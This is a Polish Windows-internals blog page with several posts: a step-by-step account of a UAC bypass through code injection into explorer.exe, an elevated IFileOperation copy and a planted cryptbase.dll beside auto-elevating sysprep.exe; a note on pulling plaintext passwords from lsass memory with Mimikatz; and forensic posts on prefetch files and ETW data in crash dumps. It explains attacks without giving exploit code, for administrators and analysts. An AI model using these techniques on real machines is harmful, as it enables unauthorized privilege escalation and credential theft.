Zine.net online

Witaj na Zine.net online Zaloguj się | Rejestracja | Pomoc
w Szukaj

mgrzeg.net - Admin on Rails :)

  • O domyślnych ustawieniach UAC słów kilka

    Domyślne ustawienia UAC w Windows 7 (a także Windows 8) nie zapewniają nam niestety pełnego bezpieczeństwa. Istnieje kilka znanych sposobów ‘ataku’ na UAC, które pozwalają na wykonanie kodu z podniesionymi uprawnieniami bez konieczności potwierdzania komunikatów UAC. Spróbuję opisać jeden z nich, który wydaje mi się szczególnie interesujący ze względu na wykorzystane mechanizmy.

    Konfiguracja UAC

    Po instalacji systemu domyślnie mamy ustawiony poziom 3 (Rys 1), który jest o jeden szczebelek niżej od najwyższego (domyślnego dla Visty).

    Rys 1. Domyślne ustawienia UAC (panel sterowania)

    Z dodatkowej informacji wynika, iż to ustawienie nie gwarantuje nam pełnego bezpieczeństwa, jednak opis sugeruje, że powiadomienia będą się pojawiać w sytuacji, gdy “programy próbują wprowadzać zmiany na komputerze”. Co więcej, w przypadku ‘wprowadzania zmian w ustawieniach systemu Windows’ powiadomienia nie będą się pojawiać. Jak się okazuje, ten brak komunikatów dla ‘zmian w ustawieniach’ otwiera drogę dla potencjalnego ataku.

    Krok 1. Utworzenie obiektu COM o podniesionych uprawnieniach

    Zgodnie z dokumentacją, aby w naszym kodzie utworzyć obiekt COM o podniesionych uprawnieniach, musimy podczas tworzenia monikera skorzystać ze składni:
    "Elevation:Administrator!new:{guid}"
    gdzie {guid} określa CLSID COMa, którego obiekt chcemy utworzyć. Istotna przy tym jest w deklaracji takiej klasy obecność “LocalizedString” zawierający opis tworzonego obiektu pojawiający się w ramach komunikatu UAC, a także ustawiona na 1 wartość Enabled podklucza Elevation. Dla przykładu, jeden z tego typu obiektów systemowych ma zdefiniowane następujące wpisy:

    >reg query HKCR\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09} /s

    HKEY_CLASSES_ROOT\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}
        (domyślny)    REG_SZ    Copy/Move/Rename/Delete/Link Object
        AppId    REG_SZ    {3ad05575-8857-4850-9277-11b85bdb8e09}
        LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\system32\shell32.dll,-50176

    HKEY_CLASSES_ROOT\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}\Elevation
        Enabled    REG_DWORD    0x1

    HKEY_CLASSES_ROOT\CLSID\{3ad05575-8857-4850-9277-11b85bdb8e09}\InProcServer32
        (domyślny)    REG_EXPAND_SZ    %SystemRoot%\system32\shell32.dll
        ThreadingModel    REG_SZ    Apartment

    Oczywiście, gdy aplikacja bez podniesionych uprawnień będzie próbowała utworzyć obiekt COM o podniesionych uprawnieniach, to nie nastąpi to poprzez proste załadowanie biblioteki powiązanej z COMem do pamięci procesu, a następnie utworzenie obiektu o wyższych uprawnieniach, ponieważ wiązałoby się to ze zmianą żetonu procesu, co nie jest możliwe (o modyfikacji żetonu z poziomu jądra pisałem jakiś czas temu, ale nie o tym teraz). A zatem taki COM musi mieć możliwość utworzenia poza procesem, co wiąże się z utworzeniem procesu hosta (surogata) o wyższych uprawnieniach, który załaduje naszego dlla i dostarczy nam odpowiednich metod. Istotny w tym miejscu podczas rejestracji takiego COMa jest wpis DllSurrogate definiujący ścieżkę do procesu hosta, a w przypadku, gdy jego wartość jest pusta, lub = NULL, to wykorzystywany jest systemowy DllHost.exe, oczywiście uruchamiany przez usługę AppInfo z podniesionymi uprawnieniami, lecz w naszym kontekście. Dla przykładu, poprzednio prezentowany COM zdefiniowany jest następująco:

    >reg query HKLM\Software\Classes\AppID\{3ad05575-8857-4850-9277-11b85bdb8e09} /s /t REG_SZ

    HKEY_LOCAL_MACHINE\Software\Classes\AppID\{3ad05575-8857-4850-9277-11b85bdb8e09}
        DllSurrogate    REG_SZ

    Mając tak przygotowanego COMa, możemy spróbować z niego skorzystać - w momencie, gdy się do niego odwołamy z naszej aplikacji (korzystając ze wspomnianej wyżej składni monikera), to pojawi się komunikat UAC z prośbą o zgodę na podniesienie uprawnień. Tak się stanie w przypadku, gdy zażąda tego nasza (napisana przez nas) aplikacja.
    Inaczej jednak jest w przypadku praktycznie wszystkich wbudowanych w system aplikacji. Otóż w momencie, gdy np. explorer.exe (bez podniesionych uprawnień) wykona tę samą operację utworzenia obiektu COM o podniesionych uprawnieniach, to system pozwoli mu na to bez jakiegokolwiek komunikatu UAC. System zweryfikuje bowiem obraz procesu - jego podpis oraz ścieżkę, z której został uruchomiony i jeśli będzie to tzw. ‘Windows executable’ (za Russinovichem), to będzie to wystarczające do automatycznego utworzenia ‘podniesionego’ obiektu COM bez dodatkowych potwierdzeń.

    Mając w rękach taki mechanizm, możemy wyobrazić sobie pierwszy krok do obejścia UAC: w jakiś sposób zmuszamy explorer.exe (albo notepad.exe, calc.exe, etc.) do tego, aby utworzył ‘podniesiony’ obiekt COM, który zrobi już to, co my będziemy chcieli. W tym miejscu pojawiają się dwie wątpliwości: jak zmusić explorer.exe do zrobienia czegoś takiego oraz jaki COM niecnie wykorzystać.
    Odpowiedź na pierwsze pytanie jest dosyć prosta: możemy skorzystać z Code Injection, czyli mechanizmu polegającego na:
    - alokacji pewnego obszaru pamięci w ramach działającego procesu (u nas explorer.exe);
    - wrzuceniu do niego kawałka naszego kodu tworzącego COMa;
    - ustawieniu odpowiednich zabezpieczeń dla przydzielonego obszaru pamięci (Read+Execute);
    - utworzeniu zdalnego wątku, którego wykonanie przerzucimy do wrzuconego obszaru kodu.

    Oczywiście mechanizm ten mamy dostępny w Windows 7 (i 8) i bez problemu możemy z niego skorzystać.
    Druga kwestia to dobór COMa - gdybyśmy mieli zarejestrowany ‘swój’, to w zasadzie bylibyśmy ‘w domu’, jednak rejestracja COMa również wymaga podniesienia uprawnień, więc pozostają nam te już istniejące, czyli systemowe. Do wyboru odpowiedniego zachęca nas drugi mechanizm systemowy, czyli AutoElevate.

    Krok 2. AutoElevate

    Aby ułatwić nieco życie administratorom, znaczna część aplikacji systemowych (ale również innych, np. o odpowiedniej nazwie - więcej u Russinovicha) wyposażona została w mechanizm automatycznego podniesienia uprawnień, czyli AutoElevate. Dla przykładu, eventvwr.exe uruchomiony z domyślnej lokalizacji będzie od razu utworzony z podniesionymi uprawnieniami, bez pokazywania jakichkolwiek komunikatów UAC.
    Informacja o tym, że dana aplikacja (.exe, lub COM  w .dll) obsługuje mechanizm autoElevate, zapisana została w manifeście:

    >sigcheck -m \Windows\system32\eventvwr.exe

    Sigcheck v1.90 - File version and signature viewer
    Copyright (C) 2004-2013 Mark Russinovich
    Sysinternals - www.sysinternals.com

    C:\windows\system32\eventvwr.exe:
            Verified:       Signed
            Signing date:   05:17 2009-07-14
            Publisher:      Microsoft Windows
            Description:    Uruchamianie przystawki Podgl?d zdarze?
            Product:        System operacyjny Microsoft« Windows«
            Version:        6.1.7600.16385
            File version:   6.1.7600.16385 (win7_rtm.090713-1255)
            Manifest:
    <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
    <!-- Copyright (c) Microsoft Corporation -->
    <assembly xmlns="urn:schemas-microsoft-com:asm.v1"  xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" manifestVersion="1.0">
    <assemblyIdentity
        version="5.1.0.0"
        processorArchitecture="amd64"
        name="Microsoft.Windows.Eventlog.EventVwr"
        type="win32"
    />
    <description>Event Viewer Snapin Launcher</description>

    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel
                    level="highestAvailable"
                    uiAccess="false"
                />
            </requestedPrivileges>
        </security>
    </trustInfo>
    <asmv3:application>
       <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
            <autoElevate>true</autoElevate>
       </asmv3:windowsSettings>
    </asmv3:application>
    </assembly>

    poza nimi istnieją także inne, ale po szczegóły odsyłam do (kogo? :)) Russinovicha; nam wystarczą na razie te. Szybkie przelecenie się po katalogu systemowym oraz jego podkatalogach, pokazuje, że mamy do czynienia z całkiem dużą ilością tak oznaczonych aplikacji. Nas interesuje szczególnie jedna - sysprep.exe, znajdujący się w %SystemRoot%\system32\sysprep\sysprep.exe. Bardzo ważny dla nas jest fakt, iż sysprep.exe ma swój dedykowany katalog, co pozwala nam na skorzystanie z domyślnego mechanizmu ładowania przez loader bibliotek zlinkowanych z sysprep.exe oraz pochodnych. Okazuje się bowiem, że o ile jakaś biblioteka nie występuje na liście KnownDlls, to loader skorzysta z pliku znajdującego się w katalogu zawierającego aplikację (i tu także nie jest to aż takie proste, oczywiście odsyłam po szczegóły do Russinovicha).

    >reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" /s

    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
        clbcatq    REG_SZ    clbcatq.dll
        ole32    REG_SZ    ole32.dll
        advapi32    REG_SZ    advapi32.dll
        COMDLG32    REG_SZ    COMDLG32.dll
        DllDirectory    REG_EXPAND_SZ    %SystemRoot%\system32
        DllDirectory32    REG_EXPAND_SZ    %SystemRoot%\syswow64
        gdi32    REG_SZ    gdi32.dll
        IERTUTIL    REG_SZ    IERTUTIL.dll
        IMAGEHLP    REG_SZ    IMAGEHLP.dll
        IMM32    REG_SZ    IMM32.dll
        kernel32    REG_SZ    kernel32.dll
        LPK    REG_SZ    LPK.dll
        MSCTF    REG_SZ    MSCTF.dll
        MSVCRT    REG_SZ    MSVCRT.dll
        NORMALIZ    REG_SZ    NORMALIZ.dll
        NSI    REG_SZ    NSI.dll
        OLEAUT32    REG_SZ    OLEAUT32.dll
        PSAPI    REG_SZ    PSAPI.DLL
        rpcrt4    REG_SZ    rpcrt4.dll
        sechost    REG_SZ    sechost.dll
        Setupapi    REG_SZ    Setupapi.dll
        SHELL32    REG_SZ    SHELL32.dll
        SHLWAPI    REG_SZ    SHLWAPI.dll
        URLMON    REG_SZ    URLMON.dll
        user32    REG_SZ    user32.dll
        USP10    REG_SZ    USP10.dll
        WININET    REG_SZ    WININET.dll
        WLDAP32    REG_SZ    WLDAP32.dll
        WS2_32    REG_SZ    WS2_32.dll
        DifxApi    REG_SZ    difxapi.dll

    Jedną z ładowanych bibliotek przy starcie sysprep.exe jest cryptbase.dll. Sysprep.exe nie jest co prawda bezpośrednio z nią zlinkowany, jednak korzysta z innych bibliotek, które z kolei używają tej. Szybki rzut oka na listę KnownDLLs i okazuje się, że cryptbase na niej nie ma. (Bo gdyby była, to system w pierwszej kolejności załadowałby ją z lokalizacji wskazanej w KnownDLLs, nie patrząc w ogóle na zawartość katalogu aplikacji, etc.). Wystarczy zatem, że wrzucimy naszą własną wersję biblioteki cryptbase.dll do katalogu zawierającego sysprep.exe, aby loader ją załadował podczas inicjalizacji aplikacji. A mając ją załadowaną w automatycznie podniesionym sysprep.exe, mamy oczywiście swój kod (DllMain), czyli hulaj dusza, piekła nie ma. I wszystko ok, tylko w jaki sposób wrzucić naszą wersję cryptbase.dll do katalogu sysprep, skoro do wykonania tej czynności potrzebujemy podniesionych uprawnień?
    Z pomocą przychodzi nam systemowy IFileOperation - COM, który podawałem jako przykład w kroku 1, który po prostu pozwala na operacje kopiowania, przesuwania i usuwania plików, mając ustawione w rejestrze podniesienie uprawnień (Elevation\Enabled = 1).

    Podsumujmy:
    1. Wciskamy kod do explorer.exe
    2. Tworzymy out-of-process podniesiony IFileOperation, który kopiuje nam plik cryptbase.dll do katalogu zawierającego sysprep.exe
    3. Korzystając z tego samego mechanizmu, tym razem w oparciu o ShellExecute uruchamiamy sysprep.exe, który grzecznie ładuje nam podstawiony przez nas cryptbase.dll
    4. Załadowany cryptbase.dll wykonuje podniesiony nasz kod, co pozwala nam na bezgraniczny dostęp do systemu :)

    Po zebraniu wszystkich klocków do kupy otrzymujemy metodę na uruchomienie przy domyślnych ustawieniach UAC, aplikacji z podniesionymi uprawnieniami bez pojawiania się jakichkolwiek komunikatów UAC.

    Krótki komentarz

    Wygląda zatem na to, że jeśli chcemy czuć się bezpieczni, to musimy mieć ustawiony UAC na najwyższym poziomie. Tylko wtedy wszystkie próby podniesienia uprawnień, łącznie z systemowymi ‘autoElevate’ będą skutkować komunikatem UAC i powyżej opisana ścieżka ‘ataku’ będzie nieskuteczna. Druga kwestia wiąże się z tym, że opisana metoda znana jest już od wielu lat (wczesnych wersji Windows 7) i nadal jest skuteczna np. w Windows 8. Kolejne aplikacje wykorzystujące tę metodę ataku na UAC trafiają do bazy wirusów Microsoft Security Essentials, ale nie są wprowadzane żadne poważniejsze zmiany w systemie, które mogłyby nas zabezpieczyć. Owszem, podczas podnoszenia uprawnień sprawdzany jest proces, który tego się domaga (sygnatury, ścieżka z której został uruchomiony), ale nie jest w żaden sposób weryfikowany kod, który tworzy COMa.

    Cała powyżej opisana metoda opisana została szczegółowo tu: [KLIK]. Na podstawie kodu PoC przygotowałem własne narzędzie, które być może ujrzy kiedyś światło dzienne ;)

    opublikowano 12 września 2013 16:53 przez mgrzeg | 3 komentarzy
    Filed under:
  • Odzyskiwanie haseł zalogowanych użytkowników z pamięci lsass

    W standardowej instalacji Windows 7 (a także Windows 8 oraz wersjach serwerowych, nie wspominając o wcześniejszych edycjach Windows) podczas logowania do systemu nasze hasło przechodzi w postaci jawnej przez kilka authentication i security packages (HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\SecurityPackages) oraz zostaje przez nie zapisane w pamięci procesu w postaci zaszyfrowanej i pozostaje tam przez cały czas życia sesji użytkownika. I oczywiście nic nie stoi na przeszkodzie, żeby te hasła odczytać i odszyfrować - lsass zrobi to grzecznie za nas. A jedyne, do czego musimy mieć dostęp (do odczytu), to pamięć procesu lsass.exe - możemy skorzystać bezpośrednio z pamięci fizycznej w działającym systemie, lub zapisanej na dysku w postaci zrzutu (tu możemy plik skopiować na inną maszynę z tym samym systemem i tam odczytać). A jako że pisałem już o zabawach z LSASS wielokrotnie i opisywałem cały mechanizm w szczegółach, to podam tylko dwa linki:

    - Prezentacja Pauli Januszkiewicz na TechEd 2013
    - Mimikatz by Benjamin Delpy

    A więc dbajcie o swoje dumpy i dostęp do pamięci lsass, bo hasełka tylko czekają na odpowiedni moment, żeby się zaprezentować w pełnej krasie ;)

    EDIT: Na tegorocznym MTS (1 dzień konferencji, między 14.00 a 15.00) Paula poprowadzi wspomnianą prezentację poświęconą hasłom, więc jest jeszcze okazja porozmawiać o pass-the-hash z odpowiednią osobą :) Ja również będę na tej sesji i z ogromną przyjemnością obejrzę całą prezentację 'na żywca' :)

    opublikowano 5 września 2013 13:12 przez mgrzeg | 2 komentarzy
    Filed under: ,
  • Pliki prefetchera

    Dziś krócej i z nieco innej działki, ale również 'internalsowo'. Oczywiście kontynuujemy serię 'zagadkową'.

    Począwszy od Windows XP mamy dostępny mechanizm prefetchera, pozwalający na przyspieszenie ładowania aplikacji do pamięci podczas jej uruchamiania. Fizycznie pliki prefetchera znajdują się w katalogu %SystemRoot%\Prefetch i mają rozszerzenie .pf, dla przykładu uruchomienie notatnika (64-bit) generuje nam plik
    NOTEPAD.EXE-D8414F97.pf
    Prefetcher monitoruje pierwsze 10 sekund startu aplikacji, a w ramach metadanych zapisanych przez prefetcher dla danej aplikacji, możemy znaleźć:
    - sygnatury czasowe: utworzenia oraz ostatniego uruchomienia;
    - liczbę uruchomień;
    - wolumen: ścieżka, numer seryjny;
    - listę plików: plików i katalogów wykorzystanych podczas startu aplikacji, a więc bibliotek oraz innych plików ładowanych przez loader oraz otwieranych i zapisywanych przy starcie.
    W plikach .pf nie ma zapisanej informacji o nazwie użytkownika, który aplikację uruchamiał, niemniej jednak na podstawie listy plików bardzo często można dojść do tego, w kontekście którego użytkownika aplikacja została uruchomiona (pliki z katalogów %APPDATA%, lub %LOCALAPPDATA%). W internecie można znaleźć całkiem sporo gotowych narzędzi do parsowania plików .pf, a przykładowy wynik może wyglądać następująco (tu użyję skryptu perl z materiałów do książki):

    >pref.pl -f \Windows\Prefetch\REG.EXE-E7E8BD26.pf -p -i -v
    \Windows\Prefetch\REG.EXE-E7E8BD26.pf     Tue Sep  3 12:24:01 2013 (12)

    EXE Name            : REG.EXE
    Volume Path         : \DEVICE\HARDDISKLVFS000
    Volume Creation Date: Tue Apr 19 18:05:10 2011 Z
    Volume Serial Number: 9653-9D9B

    \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\NTDLL.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\KERNEL32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\APISETSCHEMA.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\KERNELBASE.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\LOCALE.NLS
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\REG.EXE
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\ADVAPI32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\MSVCRT.DLL
    \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\SECHOST.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\SECHOST.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\RPCRT4.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\USER32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\GDI32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\LPK.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\USP10.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\WS2_32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\NSI.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\SHLWAPI.DLL
    \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\IMM32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\IMM32.DLL
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\MSCTF.DLL
    \DEVICE\HARDDISKVOLUME2\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
    \DEVICE\HARDDISKLVFS000\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS
    \DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\PL-PL\KERNELBASE.DLL.MUI
    \DEVICE\HARDDISKLVFS000\WINDOWS\SYSTEM32\PL-PL\KERNELBASE.DLL.MUI

    Szczególnie ciekawy jest plik NTOSBOOT-B00DFAAD.pf, który (zgodnie z opisem M.Russinovicha) zawiera informacje związane ze startem systemu (do 30 sek od startu powłoki (explorera), lub 60 sek. od startu usług, lub 120 sekund od początku startu systemu, zależnie od tego, co będzie pierwsze).

    W przypadku instalacji na dyskach SSD system (od Windows 7) domyślnie wyłącza mechanizm prefetchera.

    opublikowano 5 września 2013 12:58 przez mgrzeg | 0 komentarzy
    Filed under:
  • Memory dump a ETW

    Kontynuujemy zabawę, tym razem spróbuję rzucić nieco światła na drugą część pierwszego pytania:
    1. Mając do dyspozycji pełny memory.dmp można wygenerować zrzuty ekranu dla wszystkich aktywnych sesji z momentu padu systemu, a także co się działo w systemie w ostatnich sekundach przed padem.

    W ramach pakietu z WinDbg dostajemy zestaw rozszerzeń pozwalających na analizę zdarzeń ETW, które zapisywane są w buforach pamięci zrzucanych do memory dumpa.

    !wmitrace

    W zasadzie wszystko sprowadza się do zabawy z poleceniami rozszerzenia wmitrace.

    kd> !wmitrace.help

    ETW Tracing Kernel Debugger Extensions

        strdump                                - List running loggers
        logger <LoggerId>                      - Dump the logger information
        logdump <LoggerId> [-t n] [-tmf GUIDFile] [-man Man1 Man2 ... ManN] [-xml] [-of file]
                                               - Dump the in-memory portion of a log file.
                                                 [-t n]: Dump the last n events, sorted by timestamp.
                                                 [-tmf GUIDFile]: Specify the tmf file for WPP events.
                                                 [-man Man1 Man2 ... ManN]: Specify a list of manifest files for ETW events.
                                                 [-xml]: Dump the events in xml format.
                                                 [-of file]: Dump the events in file, instead of the debugger console.
        logsave  <LoggerId>  <Save file name>  - Save the in-memory portion of a log to an .etl file
        searchpath  [+]  <Path>                - Set the trace format search path
        manpath <Path>                         - Set the manifest search path
        tmffile <filename>                     - Set the TMF file name (default is 'default.tmf')
        setprefix [+] <TraceFormatPrefix>      - Set the prefix format.
                                                 (default for WPP events: [%9!d!]%8!04X!.%3!04X!::%4!s! [%1!s!])
                                                 (default for ETW events: [%9!d!]%8!04X!.%3!04X!::%4!s! [EventId=%2!s!])
        start LoggerName [-cir n] [-seq n] [-f file] [-b n] [-max n] [-min n] [-kd] [-ft n] [-singlestream [0|1]]
                                               - Start the logger. For circular and sequential file maximum file size
                                                 can be provided. Default is buffered mode. Other arguments: filename,
                                                 buffer size, max and min buffers, flush timer, KdFilter.
        enable LoggerId GUID [-level n] [-matchallkw n] [-matchanykw n] [-enableproperty n] [-flag n]
                                               - Enable provider. Level, keywords, flags and enableproperty can be provided
        stop <LoggerId>                        - Stop the logger.
        disable LoggerId GUID                  - Disable provider.
        dynamicprint <0|1>                     - Turn live tracing messages on (1) or off (0).  Default is on.
        traceoperation <0|1|2>                 - Verbose output. Default is OFF (debugging feature).
        dumpmini                               - Dump the system trace fragment stored in a minidump (Vista and later).
        dumpminievent                          - Dump the system event log trace fragment from a minidump (Vista SP1 and later).
        eventlogdump <LoggerId>                - Dump a logger using eventlog formatting.
        bufdump [<LoggerId>]                   - Dump the Wmi Trace Loggers Buffers

    In all commands logger name can be used instead of logger id.

    Przy zabawie z dumpem odpadają wszystkie polecenia uruchamiające, aktywujące, etc. logger, czyli zaczynamy od zrzutu aktywnych loggerów:

    kd> !wmitrace.strdump
    (WmiTracing)StrDump Generic
      LoggerContext Array @ 0xFFFFF80002A72880 [64 Elements]
        Logger Id 0x02 @ 0xFFFFFA8001D83C80 Named 'Circular Kernel Context Logger'
        Logger Id 0x03 @ 0xFFFFFA8001939040 Named 'Eventlog-Security'
        Logger Id 0x04 @ 0xFFFFFA800191C040 Named 'Audio'
        Logger Id 0x05 @ 0xFFFFFA800191C8C0 Named 'DiagLog'
        Logger Id 0x06 @ 0xFFFFFA800191C500 Named 'EventLog-Application'
        Logger Id 0x07 @ 0xFFFFFA8001939780 Named 'EventLog-System'
        Logger Id 0x08 @ 0xFFFFFA8001943AC0 Named 'Microsoft Security Client'
        Logger Id 0x09 @ 0xFFFFFA8002D3B440 Named 'MpWppTracing-04192013-191832-00000003-ffffffff'
        Logger Id 0x0a @ 0xFFFFFA8001947780 Named 'NtfsLog'
        Logger Id 0x0b @ 0xFFFFFA800194D040 Named 'UBPM'
        Logger Id 0x0c @ 0xFFFFFA8001950040 Named 'WdiContextLog'
        Logger Id 0x0d @ 0xFFFFFA80035EE2C0 Named 'MSDTC_TRACE_SESSION'
        Logger Id 0x0e @ 0xFFFFFA80023DF280 Named 'WFP-IPsec Diagnostics'

    Jak widać, lista zaczyna się od Id=0x02, przy aktywnym loggerze ‘NT Kernel Logger’ mielibyśmy go na pozycji 0x00 (z tego loggera korzysta np. procmon)

    Na początek interesuje nas logger CKCL, czyli Circular Kernel Context Logger, bo w nim możemy znaleźć troszkę informacji o tym, co się działo w systemie przed jego padem. Zazwyczaj zaczynamy od zapisania logu do pliku .etl

    kd> !wmitrace.logsave 2 c:\dumps\CKCL.etl

    i następnie przejrzeniu go przy użyciu xperfview, WPA, lub - w ostateczności - zrzucie wszystkiego z poziomu samego xperf.

    >xperf -i ckcl.etl -o ckcl.txt -a dumper

    Oczywiście log możemy zapisać dla każdego z wypisanych wyżej loggerów - polecam to jako ćwiczenie i rozejrzenie się w rodzaju informacji, które można wyciągnąć.

    Przeglądanie logu związanego z loggerem eventlogowym nie jest zbyt przyjazne (wszystko trafia do generic events i oglądanie tego w tabelce jest po prostu uciążliwe), dlatego też w kolejnym kroku możemy zrobić zrzut eventloga:

    kd> !wmitrace.eventlogdump 5
    WMI Trace Save: Debugger Extension. LoggerId = 5, Save File = 'c:\temp\wmiE890.tmp'
        Logger Id 0x05 @ 0xFFFFFA800191C8C0 Named 'DiagLog'
          CollectionOn        = 1
          LoggerMode          = 0x10000180 ( secure rt single-str )
          BufferSize          = 16 KB
          BuffersAvailable    = 2
          MinimumBuffers      = 2
          NumberOfBuffers     = 2
          MaximumBuffers      = 22
          EventsLost          = 0
          LogBuffersLost      = 0
          RealTimeBuffersLost = 0
          LastFlushedBuffer   = 0
          MaximumFileSize     = 100
          FlushTimer          = 1 sec
          LoggerThread        = 0xfffffa8001926040 <359>
          PoolType            = NonPaged
          SequenceNumber      = 66
          ClockType           = PerfCounter
          EventsLogged        = 0
          Consumer @ 0xfffffa8003267f70 'dt nt!_ETW_REALTIME_CONSUMER 0xfffffa8003267f70'

          Buffer      Address           Cpu RefCnt State
    -----------------------------------------------------------------------------------------
          Buffer   1: fffffa80022ab000 ,  0:   0    Free List      , Offset:      152 ,   0% Used
          Buffer   2: fffffa80022e3000 ,  0:   0    Free List      , Offset:      696 ,   4% Used
    Saved 2 Buffers
    Querying c:\temp\wmiE890.tmp for all events...
    Event 0 :
    ============

     <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
      <System>
       <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
       <EventID>     212   </EventID>
       <Version>     0   </Version>
       <Level>     4   </Level>
       <Task>     212   </Task>
       <Opcode>     1   </Opcode>
       <Keywords>     0x4000000000002020   </Keywords>
       <TimeCreated SystemTime='2013-04-19T17:26:56.946394300Z'/>
       <EventRecordID>     0   </EventRecordID>
       <Correlation/>
       <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
       <Channel>   </Channel>
       <Computer>     VM7   </Computer>
       <Security/>
      </System>
      <EventData>
       <Data Name='DriverNameLength'>     7   </Data>
       <Data Name='DriverName'>     win64dd   </Data>
      </EventData>
     </Event>  

    TimeCreated SystemTime='2013-04-19T17:26:56.946394300Z'
    Publisher name: Microsoft-Windows-Kernel-PnP
    Failed to get event format size. Error = 3AB4
    Event 1 :
    ============

     <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
      <System>
       <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
       <EventID>     226   </EventID>
       <Version>     0   </Version>
       <Level>     4   </Level>
       <Task>     226   </Task>
       <Opcode>     1   </Opcode>
       <Keywords>     0x4000000000020020   </Keywords>
       <TimeCreated SystemTime='2013-04-19T17:26:56.960558900Z'/>
       <EventRecordID>     1   </EventRecordID>
       <Correlation/>
       <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
       <Channel>   </Channel>
       <Computer>     VM7   </Computer>
       <Security/>
      </System>
      <EventData>
       <Data Name='DriverNameLength'>     55   </Data>
       <Data Name='DriverName'>     \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\win64dd   </Data>
      </EventData>
     </Event>  

    TimeCreated SystemTime='2013-04-19T17:26:56.960558900Z'
    Publisher name: Microsoft-Windows-Kernel-PnP
    Failed to get event format size. Error = 3AB4
    Event 2 :
    ============

     <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
      <System>
       <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
       <EventID>     227   </EventID>
       <Version>     0   </Version>
       <Level>     4   </Level>
       <Task>     226   </Task>
       <Opcode>     2   </Opcode>
       <Keywords>     0x4000000000020020   </Keywords>
       <TimeCreated SystemTime='2013-04-19T17:26:56.961033000Z'/>
       <EventRecordID>     2   </EventRecordID>
       <Correlation/>
       <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
       <Channel>   </Channel>
       <Computer>     VM7   </Computer>
       <Security/>
      </System>
      <EventData>
       <Data Name='DriverNameLength'>     55   </Data>
       <Data Name='DriverName'>     \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\win64dd   </Data>
       <Data Name='Status'>     0   </Data>
      </EventData>
     </Event>  

    TimeCreated SystemTime='2013-04-19T17:26:56.961033000Z'
    Publisher name: Microsoft-Windows-Kernel-PnP
    Failed to get event format size. Error = 3AB4
    Event 3 :
    ============

     <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'>
      <System>
       <Provider Name='Microsoft-Windows-Kernel-PnP' Guid='{9c205a39-1250-487d-abd7-e831c6290539}'/>
       <EventID>     213   </EventID>
       <Version>     0   </Version>
       <Level>     4   </Level>
       <Task>     212   </Task>
       <Opcode>     2   </Opcode>
       <Keywords>     0x4000000000002020   </Keywords>
       <TimeCreated SystemTime='2013-04-19T17:26:56.961046400Z'/>
       <EventRecordID>     3   </EventRecordID>
       <Correlation/>
       <Execution ProcessID='4' ThreadID='48' ProcessorID='0' KernelTime='20' UserTime='0'/>
       <Channel>   </Channel>
       <Computer>     VM7   </Computer>
       <Security/>
      </System>
      <EventData>
       <Data Name='ServiceNameLength'>     7   </Data>
       <Data Name='ServiceName'>     win64dd   </Data>
       <Data Name='Status'>     0   </Data>
       <Data Name='DriverNameLength'>     15   </Data>
       <Data Name='DriverName'>     \Driver\win64dd   </Data>
       <Data Name='Version'>     393217   </Data>
      </EventData>
     </Event>  

    TimeCreated SystemTime='2013-04-19T17:26:56.961046400Z'
    Publisher name: Microsoft-Windows-Kernel-PnP
    Failed to get event format size. Error = 3AB4
    Event 4 :
    ============

